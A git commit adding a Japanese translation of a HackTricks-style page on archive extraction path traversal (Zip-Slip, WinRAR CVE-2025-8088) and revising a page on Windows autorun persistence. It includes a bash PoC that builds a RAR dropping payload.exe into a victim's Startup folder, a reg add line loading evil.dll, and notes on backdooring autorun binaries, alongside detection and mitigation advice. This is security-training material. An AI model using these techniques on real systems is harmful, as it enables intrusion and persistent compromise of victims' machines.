Translated ['src/generic-hacking/archive-extraction-path-traversal.md',

This commit is contained in:
Translator 2025-08-13 22:16:41 +00:00
parent d55763ce43
commit ea11ebd886
3 changed files with 107 additions and 30 deletions

View File

@ -79,6 +79,7 @@
# 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md)

View File

@ -0,0 +1,68 @@
# アーカイブ抽出パストラバーサル ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## 概要
多くのアーカイブ形式ZIP、RAR、TAR、7-ZIPなどは、各エントリが独自の**内部パス**を持つことを許可します。抽出ユーティリティがそのパスを盲目的に尊重すると、`..`を含む巧妙に作成されたファイル名や**絶対パス**(例:`C:\Windows\System32\`)がユーザーが選択したディレクトリの外に書き込まれます。この種の脆弱性は*Zip-Slip*または**アーカイブ抽出パストラバーサル**として広く知られています。
結果は、任意のファイルの上書きから、Windowsの*スタートアップ*フォルダなどの**自動実行**場所にペイロードをドロップすることによって**リモートコード実行RCE**を直接達成することまで多岐にわたります。
## 根本原因
1. 攻撃者は、1つ以上のファイルヘッダーが以下を含むアーカイブを作成します
* 相対トラバーサルシーケンス(`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`
* 絶対パス(`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`
2. 被害者は、埋め込まれたパスを信頼し、それをサニタイズしたり選択したディレクトリの下に強制的に抽出したりしない脆弱なツールでアーカイブを抽出します。
3. ファイルは攻撃者が制御する場所に書き込まれ、システムまたはユーザーがそのパスをトリガーする次回に実行/ロードされます。
## 実際の例 WinRAR ≤ 7.12 (CVE-2025-8088)
Windows用のWinRAR`rar` / `unrar` CLI、DLL、およびポータブルソースを含むは、抽出中にファイル名を検証することに失敗しました。悪意のあるRARアーカイブには、次のようなエントリが含まれていました
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
選択した出力ディレクトリの**外**にあり、ユーザーの*Startup*フォルダー内に入ります。ログオン後、Windowsはそこに存在するすべてを自動的に実行し、*永続的*なRCEを提供します。
### PoCアーカイブの作成 (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
オプション使用:
* `-ep` ファイルパスをそのまま保存(先頭の `./` は削除しない)。
`evil.rar` を被害者に配布し、脆弱な WinRAR ビルドで解凍するよう指示します。
### 実際の悪用の観察
ESET は、カスタマイズされたバックドアを展開し、ランサムウェア操作を促進するために CVE-2025-8088 を悪用した RAR アーカイブを添付した RomCom (Storm-0978/UNC2596) のスピアフィッシングキャンペーンを報告しました。
## 検出のヒント
* **静的検査** アーカイブエントリをリストし、`../``..\\`、*絶対パス* (`C:`) または非正準 UTF-8/UTF-16 エンコーディングを含む名前をフラグします。
* **サンドボックス抽出** *安全な* エクストラクタ(例: Python の `patool`、7-Zip ≥ 最新、`bsdtar`)を使用して使い捨てディレクトリに解凍し、結果のパスがディレクトリ内に留まることを確認します。
* **エンドポイント監視** アーカイブが WinRAR/7-Zip/etc. によって開かれた直後に `Startup`/`Run` ロケーションに書き込まれた新しい実行可能ファイルに警告します。
## 緩和策と強化
1. **エクストラクタを更新** WinRAR 7.13 は適切なパスのサニタイズを実装しています。ユーザーは手動でダウンロードする必要があります。WinRAR には自動更新メカニズムがありません。
2. 可能な場合は **「パスを無視」** オプションWinRAR: *Extract → "Do not extract paths"*)でアーカイブを抽出します。
3. 信頼できないアーカイブは **サンドボックス** または VM 内で開きます。
4. アプリケーションホワイトリストを実装し、ユーザーの自動実行ディレクトリへの書き込みアクセスを制限します。
## 追加の影響を受けた / 歴史的なケース
* 2018 多くの Java/Go/JS ライブラリに影響を与えた Snyk の大規模な *Zip-Slip* アドバイザリー。
* 2023 `-ao` マージ中の類似のトラバーサルに関する 7-Zip CVE-2023-4011。
* 書き込み前に `PathCanonicalize` / `realpath` を呼び出さないカスタム抽出ロジック。
## 参考文献
- [BleepingComputer WinRAR ゼロデイがアーカイブ抽出にマルウェアを植え付けるために悪用される](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 チェンジログ](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk Zip Slip 脆弱性の詳細](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
## WMIC
**Wmic**は**スタートアップ**でプログラムを実行するために使用できます。スタートアップで実行されるようにプログラムされバイナリを確認するには、次のコマンドを使用します:
**Wmic**は**スタートアップ**でプログラムを実行するために使用できます。スタートアップで実行されるようにプログラムされているバイナリを確認するには、次のコマンドを使用します:
```bash
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
@ -35,10 +35,18 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```
> **FYI**: アーカイブ抽出 *パス・トラバーサル* 脆弱性例えば、WinRAR 7.13以前で悪用されたCVE-2025-8088などは、**解凍中にこれらのスタートアップフォルダ内にペイロードを直接配置する**ために利用でき、次回のユーザーログオン時にコードが実行される結果となります。この技術の詳細については、以下を参照してください:
{{#ref}}
../../generic-hacking/archive-extraction-path-traversal.md
{{#endref}}
## レジストリ
> [!NOTE]
> [ここからの注意](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** レジストリエントリは、64ビットのWindowsバージョンを実行していることを示します。オペレーティングシステムは、このキーを使用して、64ビットのWindowsバージョンで実行される32ビットアプリケーションのために、HKEY_LOCAL_MACHINE\SOFTWAREの別のビューを表示します。
> [!TIP]
> [ここからの注意](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** レジストリエントリは、64ビットのWindowsバージョンを実行していることを示します。オペレーティングシステムは、このキーを使用して、64ビットWindowsバージョンで実行される32ビットアプリケーションのためにHKEY_LOCAL_MACHINE\SOFTWAREの別のビューを表示します。
### 実行
@ -56,9 +64,9 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
**Run** および **RunOnce** として知られるレジストリキーは、ユーザーがシステムにログインするたびにプログラムを自動的に実行するように設計されています。キーのデータ値として割り当てられたコマンドラインは、260文字以下に制限されています。
**Run**および**RunOnce**として知られるレジストリキーは、ユーザーがシステムにログインするたびにプログラムを自動的に実行するように設計されています。キーのデータ値として割り当てられたコマンドラインは、260文字以下に制限されています。
**サービス実行**(ブート中のサービスの自動起動を制御可能):
**サービス実行**(ブート中のサービスの自動起動を制御可能):
- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
@ -74,15 +82,15 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
- `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
Windows Vista以降のバージョンでは、**Run** および **RunOnce** レジストリキーは自動的に生成されません。これらのキーのエントリは、プログラムを直接起動するか、依存関係として指定することができます。たとえば、ログオン時にDLLファイルをロードするには、**RunOnceEx** レジストリキーと「Depend」キーを使用することができます。これは、システム起動時に「C:\temp\evil.dll」を実行するレジストリエントリを追加することで示されます:
Windows Vista以降のバージョンでは、**Run**および**RunOnce**レジストリキーは自動的に生成されません。これらのキーのエントリは、プログラムを直接起動するか、依存関係として指定することができます。例えば、ログオン時にDLLファイルを読み込むためには、**RunOnceEx**レジストリキーと「Depend」キーを使用することができます。これは、システム起動時に「C:\temp\evil.dll」を実行するレジストリエントリを追加することで示されます:
```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
```
> [!NOTE]
> [!TIP]
> **Exploit 1**: **HKLM**内のいずれかのレジストリに書き込むことができれば、別のユーザーがログインしたときに特権を昇格させることができます。
> [!NOTE]
> **Exploit 2**: **HKLM**内のいずれかのレジストリに示されたバイナリを上書きできる場合、別のユーザーがログインしたときにそのバイナリをバックドアで変更し、特権を昇格させることができます。
> [!TIP]
> **Exploit 2**: **HKLM**内のいずれかのレジストリに示されたバイナリを上書きできる場合、別のユーザーがログインしたときにそのバイナリをバックドアで修正し、特権を昇格させることができます。
```bash
#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@ -145,10 +153,10 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
**スタートアップ**フォルダーに配置されたショートカットは、ユーザーのログオンまたはシステムの再起動にサービスやアプリケーションを自動的に起動します。**スタートアップ**フォルダーの場所は、**ローカルマシン**と**現在のユーザー**のスコープの両方でレジストリに定義されています。これは、これらの指定された**スタートアップ**場所に追加されたショートカットが、ログオンまたは再起動プロセスに続いてリンクされたサービスやプログラムが起動することを保証することを意味し、プログラムを自動的に実行するための簡単な方法となります。
**スタートアップ**フォルダーに配置されたショートカットは、ユーザーのログオンまたはシステムの再起動にサービスやアプリケーションを自動的に起動します。**スタートアップ**フォルダーの場所は、**ローカルマシン**と**現在のユーザー**のスコープの両方でレジストリに定義されています。これは、これらの指定された**スタートアップ**場所に追加されたショートカットが、ログオンまたは再起動プロセスの後にリンクされたサービスやプログラムが起動することを保証することを意味し、プログラムを自動的に実行するための簡単な方法となります。
> [!NOTE]
> **HKLM**の下の任意の\[User] Shell Folderを上書きできる場合、あなたが制御するフォルダーを指すように設定でき、ユーザーがシステムにログインするたびに実行されるバックドアを配置することができます。
> [!TIP]
> **HKLM**の下の任意の\[User] Shell Folderを上書きできる場合、あなたが制御するフォルダーを指すように設定でき、ユーザーがシステムにログインするたびに実行されるバックドアを配置することができ、特権を昇格させることができます。
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
@ -171,8 +179,8 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
```
> [!NOTE]
> レジストリ値またはバイナリを上書きできる場合、特権を昇格させることができます。
> [!TIP]
> レジストリ値またはバイナリを上書きできれば、特権を昇格させることができます。
### ポリシー設定
@ -188,23 +196,23 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
```
### AlternateShell
### セーフモードコマンドプロンプトの変更
### Safe Mode コマンドプロンプトの変更
Windowsレジストリの`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`には、デフォルトで`cmd.exe`に設定された**`AlternateShell`**値があります。これは、起動時に「コマンドプロンプト付きセーフモード」を選択するとF8を押すことによって`cmd.exe`が使用されることを意味します。しかし、F8を押して手動で選択することなく、このモードで自動的に起動するようにコンピュータを設定すること可能です。
Windows レジストリの `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` には、デフォルトで **`AlternateShell`** 値が `cmd.exe` に設定されています。これは、起動時に「コマンドプロンプト付きセーフモード」を選択すると (`F8` を押すことによって)、`cmd.exe` が使用されることを意味します。しかし、`F8` を押して手動で選択することなく、このモードで自動的に起動するようにコンピュータを設定すること可能です。
「コマンドプロンプト付きセーフモード」で自動的に起動するためのブートオプションを作成する手順:
1. `boot.ini`ファイルの属性を変更して、読み取り専用、システム、隠しフラグを削除します: `attrib c:\boot.ini -r -s -h`
2. `boot.ini`を編集のために開きます。
1. `boot.ini` ファイルの属性を変更して、読み取り専用、システム、隠しフラグを削除します: `attrib c:\boot.ini -r -s -h`
2. `boot.ini` を編集のために開きます。
3. 次のような行を挿入します: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
4. `boot.ini`への変更を保存します。
4. `boot.ini` に対する変更を保存します。
5. 元のファイル属性を再適用します: `attrib c:\boot.ini +r +s +h`
- **Exploit 1:** **AlternateShell**レジストリキーを変更することで、カスタムコマンドシェルの設定が可能になり、不正アクセスの可能性があります。
- **Exploit 2 (PATH書き込み権限):** システムの**PATH**変数の任意の部分に書き込み権限があると、特に`C:\Windows\system32`の前にある場合、カスタム`cmd.exe`を実行でき、セーフモードでシステムが起動した場合はバックドアになる可能性があります。
- **Exploit 3 (PATHとboot.ini書き込み権限):** `boot.ini`への書き込みアクセスにより、自動的なセーフモード起動が可能になり、次回の再起動時に不正アクセスを容易にします。
- **Exploit 1:** **AlternateShell** レジストリキーを変更することで、カスタムコマンドシェルの設定が可能になり、不正アクセスの可能性があります。
- **Exploit 2 (PATH 書き込み権限):** システム **PATH** 変数の任意の部分に書き込み権限がある場合、特に `C:\Windows\system32` の前にある場合、カスタム `cmd.exe` を実行でき、セーフモードでシステムが起動した場合にはバックドアとなる可能性があります。
- **Exploit 3 (PATH boot.ini 書き込み権限):** `boot.ini` への書き込みアクセスにより、自動的なセーフモード起動が可能になり、次回の再起動時に不正アクセスを容易にします。
現在の**AlternateShell**設定を確認するには、これらのコマンドを使用します:
現在の **AlternateShell** 設定を確認するには、これらのコマンドを使用します:
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'
@ -223,16 +231,16 @@ Active Setupは、以下のレジストリキーを通じて管理されます
これらのキー内には、特定のコンポーネントに対応するさまざまなサブキーが存在します。特に注目すべきキー値には以下が含まれます:
- **IsInstalled:**
- `0`はコンポーネントのコマンドが実行されないことを示します。
- `1`はコマンドが各ユーザーごとに一度実行されることを意味し、`IsInstalled`値が欠如している場合のデフォルトの動作です。
- **StubPath:** Active Setupによって実行されるコマンドを定義します。`notepad`を起動するなど、任意の有効なコマンドラインである可能性があります。
- `0`コンポーネントのコマンドが実行されないことを示します。
- `1`コマンドが各ユーザーごとに一度実行されることを意味し、`IsInstalled`値が欠如している場合のデフォルトの動作です。
- **StubPath:** Active Setupによって実行されるコマンドを定義します。これは、`notepad`を起動するなどの有効なコマンドラインである可能性があります。
**セキュリティインサイト:**
- **`IsInstalled`**が`"1"`に設定され、特定の**`StubPath`**を持つキーを変更または書き込むことは、権限昇格のための不正なコマンド実行につながる可能性があります。
- いかなる**`StubPath`**値で参照されるバイナリファイルを変更することも、十分な権限があれば権限昇格を達成する可能性があります。
Active Setupコンポーネント全体の**`StubPath`**設定を検査するには、これらのコマンドを使用できます:
Active Setupコンポーネント全体の**`StubPath`**設定を検査するには、以下のコマンドを使用できます:
```bash
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
@ -243,11 +251,11 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
### ブラウザヘルパーオブジェクト (BHO) の概要
ブラウザヘルパーオブジェクト (BHO) は、Microsoft の Internet Explorer に追加機能を提供する DLL モジュールです。これらは、各起動時に Internet Explorer および Windows Explorer に読み込まれます。しかし、**NoExplorer** キーを 1 に設定することで実行をブロックでき、Windows Explorer インスタンスと共に読み込まれるのを防ぐことができます。
ブラウザヘルパーオブジェクト (BHO) は、Microsoft の Internet Explorer に追加機能を提供する DLL モジュールです。これらは、Internet Explorer および Windows Explorer の各起動時に読み込まれます。しかし、**NoExplorer** キーを 1 に設定することで実行をブロックでき、Windows Explorer インスタンスと共に読み込まれるのを防ぐことができます。
BHO は、Internet Explorer 11 を介して Windows 10 と互換性がありますが、最新の Windows バージョンのデフォルトブラウザである Microsoft Edge ではサポートされていません。
システムに登録されている BHO を調査するには、次のレジストリキーを確認できます:
システム上に登録された BHO を調査するには、次のレジストリキーを確認できます:
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
- `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
@ -293,7 +301,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
```
## SysInternals
autorunsを見つけることができるすべてのサイトは、**すでに**[**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)によって検索されています。しかし、**自動実行される**ファイルの**より包括的なリスト**については、Sysinternalsの[autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)を使用することができます:
autorunsが見つかるすべてのサイトは、**すでに**[**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)によって検索されています。しかし、**自動実行される**ファイルの**より包括的なリスト**を得るには、Sysinternalsの[autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)を使用できます:
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```